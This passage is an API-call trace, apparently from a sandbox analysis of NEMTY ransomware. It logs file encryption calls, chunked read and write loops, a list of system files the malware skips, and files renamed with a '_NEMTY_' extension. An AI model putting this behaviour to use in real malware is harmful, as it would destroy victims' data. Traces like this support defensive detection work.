[0120.183] Sleep (dwMilliseconds=0x5) [0120.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfb4a0710, dwHighDateTime=0x1d561e7)) [0120.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfb4a0710, dwHighDateTime=0x1d561e7)) [0120.196] GetLastError () returned 0x5 [0120.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0120.196] GetLastError () returned 0x5 [0120.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0120.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0120.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0120.196] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0120.196] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0120.196] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0120.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340350 [0120.196] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340350, pcchString=0x653e91c | out: pszString="crqPpJAyrsyGYWO074G0eGu6XoAsxb0V/khC1LNm1SCynAK6/Jlpr/artARJUGKU\r\nDnsiljyLElUzVGeDFLXqM0TBq12Mew+rzAj8yjBK1TW9Z/Y+IqjJ748/htVtiE6K\r\nLgyo6h3l+sRK0QPh3/0NfZqQWxa4QPrf89x4MCQdSPZx6kKK+Xm26Eto4Z8Ewe4L\r\nbIohjd5eBwn6v3qo3rMnVSNpsWBTlec4V7akrLeMW5uNL5xLVrS/GUGs1bcSqhwu\r\n1G2y76gtxg+E3A9Wfb85dCY79teCH6lxkkA1vBSXX3VOl8F3+E9mN3tE4Cy4J/aT\r\n8cfghXic2B5YJ8ABDYmnHw==\r\n", pcchString=0x653e91c) returned 1 [0120.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0120.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0120.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0120.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0120.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340350 [0120.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0120.196] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_pressed.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_pressed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.197] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0120.197] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0120.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.197] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.207] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.207] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.216] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.216] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.225] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.225] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.225] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.226] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.235] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.235] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.235] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.235] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.245] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.245] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.254] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.254] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.263] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.263] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.263] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.263] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.273] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.273] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.282] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.282] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.291] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.291] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.297] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.297] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.297] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.297] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.303] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.303] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340350, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0120.304] CloseHandle (hObject=0xffffffff) returned 0 [0120.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404c0 [0120.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0120.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0120.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0120.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0120.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0120.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0120.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0120.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0120.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0120.304] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_pressed.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_pressed.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_left_pressed.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_left_pressed.png._nemty_kgobjgd_")) returned 0 [0120.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0120.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0120.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0120.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0120.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0120.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0120.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0120.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0120.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0120.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.304] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e09d0f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82e09d0f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b795bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings_left_rest.png", cAlternateFileName="")) returned 1 [0120.304] lstrcmpiW (lpString1="settings_left_rest.png", lpString2=".") returned 1 [0120.304] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="..") returned 1 [0120.304] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="...") returned 1 [0120.304] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="windows") returned -1 [0120.304] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="$RECYCLE.BIN") returned 1 [0120.305] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="rsa") returned 1 [0120.305] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="NTDETECT.COM") returned 1 [0120.305] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="ntldr") returned 1 [0120.305] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="MSDOS.SYS") returned 1 [0120.305] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="IO.SYS") returned 1 [0120.305] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="boot.ini") returned 1 [0120.305] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="boot.ini") returned 1 [0120.305] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="AUTOEXEC.BAT") returned 1 [0120.305] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="ntuser.dat") returned 1 [0120.305] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="desktop.ini") returned 1 [0120.305] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="CONFIG.SYS") returned 1 [0120.305] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="RECYCLER") returned 1 [0120.305] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="BOOTSECT.BAK") returned 1 [0120.305] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="bootmgr") returned 1 [0120.305] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="programdata") returned 1 [0120.305] lstrcmpiW (lpString1="settings_left_rest.png", lpString2="appdata") returned 1 [0120.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0120.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_rest.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0120.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_rest.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_rest.png", lpUsedDefaultChar=0x0) returned 22 [0120.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0120.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_rest.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0120.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_rest.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_rest.png", lpUsedDefaultChar=0x0) returned 22 [0120.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0120.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0120.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0120.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_rest.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0120.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_rest.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_rest.png", lpUsedDefaultChar=0x0) returned 22 [0120.305] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0120.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0120.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_rest.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0120.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0120.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_left_rest.png", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_left_rest.png", lpUsedDefaultChar=0x0) returned 22 [0120.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0120.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0120.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340298 | out: hHeap=0x4f90000) returned 1 [0120.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340298 [0120.306] Sleep (dwMilliseconds=0x5) [0120.307] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfb5ab0b0, dwHighDateTime=0x1d561e7)) [0120.307] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfb5ab0b0, dwHighDateTime=0x1d561e7)) [0120.307] GetLastError () returned 0x5 [0120.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0120.307] GetLastError () returned 0x5 [0120.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0120.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0120.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0120.307] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0120.307] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0120.307] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0120.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340350 [0120.307] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340350, pcchString=0x653e91c | out: pszString="MOcdLeDve6+IerTifdIPdJ5luZIMYdag98/YHccrVKv4axcXs+fjKuWEhl4bpSWi\r\nAiUTFMZozKr2/kH35apTpPfViePPk/PJbY5E5vfxJUT/9l6fmZZ5RXogfvT3EdSX\r\ntnJPO6ILvMdPGAMy8PA2PvifxoJ6P3EK15HIeCHYnbI9vaKHVKKRi2QL6y053VOn\r\n/hKadEtiU57q2qldGuhzueqr11KIS0WQHySMEmpgZ2nKswfrgdE1ZkBsBRo24XVz\r\nQiXlCZr33XZBm33blXBYhw4Fg6ExEl9LG60TGK/T92snE74NltWS7uQSxfsvtqvi\r\n7xskk7AKE5x9foLC6ZGCaQ==\r\n", pcchString=0x653e91c) returned 1 [0120.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0120.307] HeapFree (in: hHeap=0x4f90000, 